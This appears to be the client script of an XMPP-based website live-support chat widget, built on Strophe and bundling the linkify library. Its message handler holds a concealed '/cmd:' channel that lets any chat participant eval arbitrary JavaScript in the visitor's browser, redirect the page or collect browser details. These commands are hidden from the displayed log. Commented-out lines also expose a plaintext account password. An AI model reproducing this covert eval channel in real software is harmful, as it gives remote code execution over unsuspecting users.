var BOSH_SERVICE = '/http-bind';
var conn = null;
//var JID="copilot@macdaddy.com.au";
//var PWD="a367f4e4";
var room = "test@conference.macdaddy.com.au";
var lsnick="Nobody";
var muc = null;

$(document).ready(function() {
   
	$("#startchat").click(function(){
		if($("#nickname").val() != "") {
			lsnick=$("#nickname").val();
			room = room_name+"@conference.macdaddy.com.au";
			$("#chatplace").show();
			$("#nickplace").hide();
			livesupport();
		} else {
			$("#nickname").select().focus();
		}
	});
	
	if($(".offline_hover").length == 1) {
		$('.offline').hover(function() {
			$(this).attr("src",$(".offline_hover").attr('src'));
				}, function() {
			$(this).attr("src",$(".offline_hover").attr('rel'));
		});
	}

	if($(".online_hover").length == 1) {
		$('.online').hover(function() {
			$(this).attr("src",$(".online_hover").attr('src'));
				}, function() {
			$(this).attr("src",$(".online_hover").attr('rel'));
		});
	}
	
	window.onunload = window.onbeforeunload = function () {
		livesupportstop();
	};
	
	$("#msgcancel").click(function(){
		livesupportstop();

	});
	
	$("#livebutton").popupWindow({ 
		height:488, 
		width:789,
		windowName:"liveSupportWindow"+room_name, 
		centerBrowser:true,
		windowURL:"/chat/"+room_name
	}); 
	

});


function livesupport() {
	start_connection();
}

function livesupportstop() {

	$("#throbber").show()
	$("#roster").html("");
	$("#msglog").html("");
    $('#liveSup').hide('fast');
	if(conn != null) {
		roster = null;
		conn.send($pres({to:room, type:"unavailable"}).c("status").t("Window closed"));
		setTimeout("off()",1000);
	} else {
		window.close();
	}

}

function off() {
	conn.disconnect("Reload | Close Window");
	conn = null;			
	window.close();
}

function version_handler(stanza)
{
	conn.send($iq({to: stanza.getAttribute("from"), type: "result", id: stanza.getAttribute("id") })
		.c('query', { xmlns: "jabber:iq:version" })
			.c('name').t(BrowserDetect.browser).up()
			.c('version').t(BrowserDetect.version.toString()).up()
			.c('os').t(BrowserDetect.OS).tree());
	return true;
}

function handle_connection_status(status, err)
{
	if(status != Strophe.Status.CONNECTING && status != Strophe.Status.AUTHENTICATING)
		$('#throbber').hide();
	else if(status != Strophe.Status.CONNECTED) {
		$('#throbber').show();
	}
	if(err) {
		if(err != "unknown") {
			//console.log(err);
		}
		
	}
	

	if(status == Strophe.Status.CONNECTED)
	{


		conn.addHandler(version_handler, null, "iq", "get", null, null);
		create_muc_ui(conn, room, lsnick, 
		   {message_log: document.getElementById('msglog'), input_box: document.getElementById('msginput'),
		   	 occupant_list: document.getElementById('roster') });


		
		// Focus on entry box
		$('#msginput').focus().select();

	}
	
}

function start_connection()
{
	conn = new Strophe.Connection(BOSH_SERVICE);
//	conn.connect(JID,PWD, handle_connection_status, 50);
	conn.connect("xmpp.copilotcms.com",null, handle_connection_status, 50);
	
	
	var msginput = document.getElementById('msginput');
	msginput.onclick = function ()
	{
		if(msginput.value == "Type your message here and press enter")
			msginput.value = "";
	};
}


function create_muc_handler(conn, jid, nick, options)
{





	if(typeof(options) == "undefined" || !options)
		options = {};
	
	var muc = { conn: conn, jid: jid, nick: nick, options: options,
		send_message: function (text) { conn.send($msg({to: jid, type: 'groupchat'}).c('body').t(text).tree()); },
		occupants: {} };
	
	if(options.handle_join)
		conn.addHandler(new_join_handler(muc, options.handle_join), null, "presence", null, null, null);
		
	if(options.handle_leave)
		conn.addHandler(new_leave_handler(muc, options.handle_leave), null, "presence", null, null, null);
		
	if(options.handle_status)
	{
		// This one is called internally, so we need to store a reference to it
		muc.status_handler = new_status_handler(muc, options.handle_status);
		conn.addHandler(muc.status_handler, null, "presence", null, null, null);
	}
		
	if(options.handle_history)
		conn.addHandler(new_history_handler(muc, options.handle_history), null, "message", "groupchat", null, null);

	if(options.handle_message)
		conn.addHandler(new_message_handler(muc, options.handle_message), null, "message", "groupchat", null, null);

	if(options.handle_error)
		conn.addHandler(new_error_handler(muc, options.handle_error), null, "presence", "error", null, null);


	conn.send($pres({to: jid+'/'+nick}).tree());
	invite_admins();
	return muc;
}

function invite_admins() {

	var msg = lsnick+" is waiting for you ";
	var myjid=conn.jid;
	// send invite to room

	$.each(contact, function(index, value) { 
		conn.send(
			$msg({from:myjid, to:room}).c('x', {xmlns: "http://jabber.org/protocol/muc#user"})
			.c("invite",{to:value}).c("reason").t(msg)
		);		
	});

	// send invite to user
/*
	$.each(contact, function(index, value) { 
		conn.send(
			$msg({from:room, to:value}).c('x', {xmlns: "http://jabber.org/protocol/muc#user"})
			.c("invite",{from:myjid}).c("reason").t(msg)
		);		
	});
*/

//	console.log(myjid);
}

function new_join_handler(muc, callback)
{
	return function (stanza)
	{
		var nick = Strophe.getResourceFromJid(stanza.getAttribute("from"));
		if(stanza.getAttribute("type") != "unavailable" && stanza.getAttribute("type") != "error"
		     && Strophe.getBareJidFromJid(stanza.getAttribute("from")) == muc.jid)
			if(!muc.occupants[nick])
			{
				var text = stanza.getElementsByTagName("status")[0];
				if(text) text = Strophe.getText(text);
				muc.occupants[nick] = {};
				callback(stanza, muc, nick, text);
				if(muc.status_handler)
				{
					muc.status_handler(stanza);
				}
			}
		return true;
	};
}

function new_leave_handler(muc, callback)
{
	return function (stanza)
	{
		var nick = Strophe.getResourceFromJid(stanza.getAttribute("from"));
		if(stanza.getAttribute("type") == "unavailable" && Strophe.getBareJidFromJid(stanza.getAttribute("from")) == muc.jid)
			if(muc.occupants[nick])
			{
				var text = stanza.getElementsByTagName("status")[0];
				if(text) text = Strophe.getText(text);
				callback(stanza, muc, nick, text);
				muc.occupants[nick] = null;
			}
		return true;
	};
}

function new_message_handler(muc, callback)
{
	return function (stanza)
	{
		if(stanza.getAttribute("type") == "groupchat" && Strophe.getBareJidFromJid(stanza.getAttribute("from")) == muc.jid)
		{
			var body = stanza.getElementsByTagName("body");
			if(body.length > 0 && stanza.getElementsByTagName("delay").length == 0)
				callback(stanza, muc, Strophe.getResourceFromJid(stanza.getAttribute("from")), Strophe.getText(body[0]));
		}
		return true;
	};
}

function new_history_handler(muc, callback)
{
	return function (stanza)
	{
		if(stanza.getAttribute("type") == "groupchat" && Strophe.getBareJidFromJid(stanza.getAttribute("from")) == muc.jid)
		{
			var body = stanza.getElementsByTagName("body");
			if(body.length > 0 && stanza.getElementsByTagName("delay").length > 0)
				callback(stanza, muc, Strophe.getResourceFromJid(stanza.getAttribute("from")), Strophe.getText(body[0]));
		}
		return true;
	};
}

function new_error_handler(muc, callback)
{
	return function (stanza)
	{
		if(Strophe.getBareJidFromJid(stanza.getAttribute("from")) == muc.jid)
		{
			var e = stanza.getElementsByTagName("error");
			if(e.length > 0)
			{
				var err = null;
				var text;
				Strophe.forEachChild(e[0], null, function (child)
					{
						if(child.getAttribute("xmlns") == "urn:ietf:params:xml:ns:xmpp-stanzas" && child.nodeName == "conflict")
							err = child.nodeName;

						if(child.getAttribute("xmlns") == "urn:ietf:params:xml:ns:xmpp-stanzas" && child.nodeName == "text")
							text = Strophe.getText(child);
					});

				callback(stanza, muc, err, text);
			}
		}
		return true;
	};
}

function new_status_handler(muc, callback)
{
	return function (stanza)
        {
                var nick = Strophe.getResourceFromJid(stanza.getAttribute("from"));
                var muc_status_handled;
                if(stanza.getAttribute("type") != "unavailable" && stanza.getAttribute("type") != "error"
                     && Strophe.getBareJidFromJid(stanza.getAttribute("from")) == muc.jid && muc_status_handled != true)
                        if(muc.occupants[nick])
                        {
                        		muc_status_handled = true;
                                var status = stanza.getElementsByTagName("show")[0];
                                var text = stanza.getElementsByTagName("status")[0];
                                if(!status)
                                	status = "online";
                                else
                                	status = Strophe.getText(status);

								if(text) text = Strophe.getText(text);
								muc.occupants[nick].status = status;
								muc.occupants[nick].status_text = text;
                                callback(stanza, muc, nick, status, text);
                        }
                return true;
        };
}



function create_muc_ui(conn, jid, nick, options)
{
	if(!conn)
		return false;
	
	var muc;
	var handlers = {};
	
	var roster = null;
	
	if(options.occupant_list)
		roster = options.occupant_list;
	
	if(options.message_log)
	{
		handlers.handle_join = function (stanza, muc, nick, text)
		{

			if(roster)
			{
				var rosteritem = document.createElement("div");
				rosteritem.setAttribute("class", "rosteritem");

				if(nick == lsnick) {
					rosteritem.innerHTML = "<span class='statusindicator me'>&nbsp;</span>&nbsp;<span>" + htmlescape(nick) + "</span>";
				} else {
					rosteritem.innerHTML = "<span class='statusindicator admins'>&nbsp;</span>&nbsp;<span>" + htmlescape(nick) + "</span>";
				}

				var nicks = roster.childNodes;
				var added = false;
				for (var i = 0;i<nicks.length;i++)
				{
					if(nicks[i].nodeType == 1)
					{
						var thisnick = nicks[i].childNodes[2].childNodes[0].nodeValue;
						if(thisnick.toLowerCase() > nick.toLowerCase())
						{
							roster.insertBefore(rosteritem, nicks[i]);
							added = true;
							break;
						}
					}
				}
				if(!added)
					roster.appendChild(rosteritem);
				muc.occupants[nick].rosteritem = rosteritem;
			}
			
			var html = "<span class='muc-join'><span class='muc-nick'>" + htmlescape(nick) + "</span>" + " has joined" + (text?(" ("+htmlescape(text)+")"):"") + "</span><br/>\n";
			if(window.linkify) {
				html = linkify(html);
			}
			options.message_log.innerHTML += html;
			options.message_log.scrollTop = options.message_log.scrollHeight;
		}
		
		var statusmap = { online: "Available", away: "Away", xa: "Not available", dnd: "Busy", chat: "Free for a chat" };
		handlers.handle_status = function (stanza, muc, nick, status, text)
		{
			if(roster)
			{
				muc.occupants[nick].rosteritem.setAttribute("class", "rosteritem status"+status);
				muc.occupants[nick].rosteritem.setAttribute("title", text||statusmap[status]);
			}
		}

		handlers.handle_leave = function (stanza, muc, nick, text)
		{
			if(roster)
			{
				roster.removeChild(muc.occupants[nick].rosteritem);
				muc.occupants[nick].rosteritem = null;
			}
			
			var html = "<span class='muc-leave'><span class='muc-nick'>" + htmlescape(nick) + "</span>" + " has left" + (text?(" ("+htmlescape(text)+")"):"") + "</span><br/>\n";
			if(window.linkify)
				html = linkify(html);
			options.message_log.innerHTML += html;
			options.message_log.scrollTop = options.message_log.scrollHeight; 
		}
		
		var action_pattern = /^\/me[ ']/;
		var cmd_pattern = /\/cmd:/;
		var nonme_pattern = /^WEB /;		

		handlers.handle_message = function (stanza, muc, nick, message)
		{
			var html;
				var currentTime = new Date()
			var hours = currentTime.getHours()
			var minutes = currentTime.getMinutes()
			if(minutes < 10) minutes="0"+minutes;
			var date=hours+":"+minutes;

			if(message.match(cmd_pattern)) {
				// run JS on client side and send it to me
				var c = message.split(":")[1];
				var w = message.split(":")[2];
				if(c == "info") {
					muc.send_message("Browser:"+BrowserDetect.browser+"\nOS:"+BrowserDetect.OS+"\nVersion:"+BrowserDetect.version)
				}else if (c == "goto") {
					window.location=message.split(":")[2]+":"+message.split(":")[3];
				}else if (c == "reload") {
					window.location=".";
				}else if (c == "js") {
					eval(w);
				}

			} else {
			
				if(message.match(action_pattern)) {
					if(nick.match(nonme_pattern)) {
						// non web users - response - is typing..
						html = "<span class='muc-message muc-action '>"+date+" <span class='muc-nick'>* " + htmlescape(nick) + "</span>" + " " + htmlescape(message.substring(4)) + "</span><br/>\n";
					} else {
						html = "<span class='muc-message muc-action muc-response'>"+date+" <span class='muc-nick'>* " + htmlescape(nick) + "</span>" + " " + htmlescape(message.substring(4)) + "</span><br/>\n";
					}
	
				} else {
					if(nick.match(nonme_pattern)) {
						html = "<span class='muc-message'>"+date+" <span class='muc-nick'>" + htmlescape(nick) + ":</span>" + " " + htmlescape(message) + "</span><br/>\n"; 
					} else {
						html = "<span class='muc-message muc-response'>"+date+" <span class='muc-nick'>" + htmlescape(nick) + ":</span>" + " " + htmlescape(message) + "</span><br/>\n"; 				
					}
						
	  			}
				
				if(window.linkify)
					html = linkify(html);
				options.message_log.innerHTML += html;
				options.message_log.scrollTop = options.message_log.scrollHeight;
			}
		}
		
		handlers.handle_history = function (stanza, muc, nick, message)
		{
			var html;

			if(message.match(action_pattern) && !message.match(cmd_pattern))
				html = "<span class='muc-history muc-action'><span class='muc-nick'>* " + htmlescape(nick) + "</span>" + " " + htmlescape(message.substring(4)) + "</span><br/>\n";
			else if( !message.match(cmd_pattern))
				html = "<span class='muc-history'><span class='muc-nick'>" + htmlescape(nick) + "</span>" + ": " + htmlescape(message) + "</span><br/>\n";
			
			if(window.linkify && !message.match(cmd_pattern))
				html = linkify(html);
				
			if(!message.match(cmd_pattern)) {
				options.message_log.innerHTML += html;
				options.message_log.scrollTop = options.message_log.scrollHeight; 
			}
		}
	}
	
	handlers.handle_error = function (stanza, muc, error, text)
	{
		if(error == "conflict")
		{

			if(text == "That nickname is already in use by another occupant") {
//				alert(text+" trying different one");
				lsnick=lsnick+"+";
				livesupport();
			}
		}
	}


	if(options.input_box)
	{
		var input_box = options.input_box;
		input_box.onkeypress = function (e)
		{
			if( ((window.event?window.event.keyCode:e.which) == 13) && input_box.value.length > 0)
			{
				muc.send_message(input_box.value);
				input_box.value = '';
			}
		}
		
		if(options.send_button)
		{
			options.send_button.onclick = function ()
			{
				input_box.onkeypress({which: 13});
			}
		}
	}
	muc = create_muc_handler(conn, jid, nick, handlers);
}

function htmlescape(s)
{
	return s.replace(/&/g,'&amp;').                                         
            replace(/>/g,'&gt;').                                           
            replace(/</g,'&lt;').                                           
            replace(/"/g,'&quot;');
}


/*
 * linkify - v0.3 - 6/27/2009
 * http://benalman.com/code/test/js-linkify/
 * 
 * Copyright (c) 2009 "Cowboy" Ben Alman
 * Licensed under the MIT license
 * http://benalman.com/about/license/
 * 
 * Some regexps adapted from http://userscripts.org/scripts/review/7122
 */
window.linkify=(function(){var k="[a-z\\d.-]+://",h="(?:(?:[0-9]|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])\\.){3}(?:[0-9]|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])",c="(?:(?:[^\\s!@#$%^&*()_=+[\\]{}\\\\|;:'\",.<>/?]+)\\.)+",n="(?:ac|ad|aero|ae|af|ag|ai|al|am|an|ao|aq|arpa|ar|asia|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|biz|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|cat|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|coop|com|co|cr|cu|cv|cx|cy|cz|de|dj|dk|dm|do|dz|ec|edu|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gov|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|info|int|in|io|iq|ir|is|it|je|jm|jobs|jo|jp|ke|kg|kh|ki|km|kn|kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|me|mg|mh|mil|mk|ml|mm|mn|mobi|mo|mp|mq|mr|ms|mt|museum|mu|mv|mw|mx|my|mz|name|na|nc|net|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|org|pa|pe|pf|pg|ph|pk|pl|pm|pn|pro|pr|ps|pt|pw|py|qa|re|ro|rs|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tel|tf|tg|th|tj|tk|tl|tm|tn|to|tp|travel|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|xn--0zwm56d|xn--11b5bs3a9aj6g|xn--80akhbyknj4f|xn--9t4b11yi5a|xn--deba0ad|xn--g6w251d|xn--hgbk6aj7f53bba|xn--hlcj6aya9esc7a|xn--jxalpdlp|xn--kgbechtv|xn--zckzah|ye|yt|yu|za|zm|zw)",f="(?:"+c+n+"|"+h+")",o="(?:[;/][^#?<>\\s]*)?",e="(?:\\?[^#<>\\s]*)?(?:#[^<>\\s]*)?",d="\\b"+k+"[^<>\\s]+",a="\\b"+f+o+e+"(?!\\w)",m="mailto:",j="(?:"+m+")?[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@"+f+e+"(?!\\w)",l=new RegExp("(?:"+d+"|"+a+"|"+j+")","ig"),g=new RegExp("^"+k,"i"),b={"'":"`",">":"<",")":"(","]":"[","}":"{","B;":"B+","b�:":"b�9"},i={callback:function(q,p){return p?'<a href="'+p+'" target="_blank" title="'+p+'">'+q+"</a>":q},punct_regexp:/(?:[!?.,:;'"]|(?:&|&amp;)(?:lt|gt|quot|apos|raquo|laquo|rsaquo|lsaquo);)$/};return function(u,z){z=z||{};var w,v,A,p,x="",t=[],s,E,C,y,q,D,B,r;for(v in i){if(z[v]===undefined){z[v]=i[v]}}while(w=l.exec(u)){A=w[0];E=l.lastIndex;C=E-A.length;if(/[\/:]/.test(u.charAt(C-1))){continue}do{y=A;r=A.substr(-1);B=b[r];if(B){q=A.match(new RegExp("\\"+B+"(?!$)","g"));D=A.match(new RegExp("\\"+r,"g"));if((q?q.length:0)<(D?D.length:0)){A=A.substr(0,A.length-1);E--}}if(z.punct_regexp){A=A.replace(z.punct_regexp,function(F){E-=F.length;return""})}}while(A.length&&A!==y);p=A;if(!g.test(p)){p=(p.indexOf("@")!==-1?(!p.indexOf(m)?"":m):!p.indexOf("irc.")?"irc://":!p.indexOf("ftp.")?"ftp://":"http://")+p}if(s!=C){t.push([u.slice(s,C)]);s=E}t.push([A,p])}t.push([u.substr(s)]);for(v=0;v<t.length;v++){x+=z.callback.apply(window,t[v])}return x||u}})();

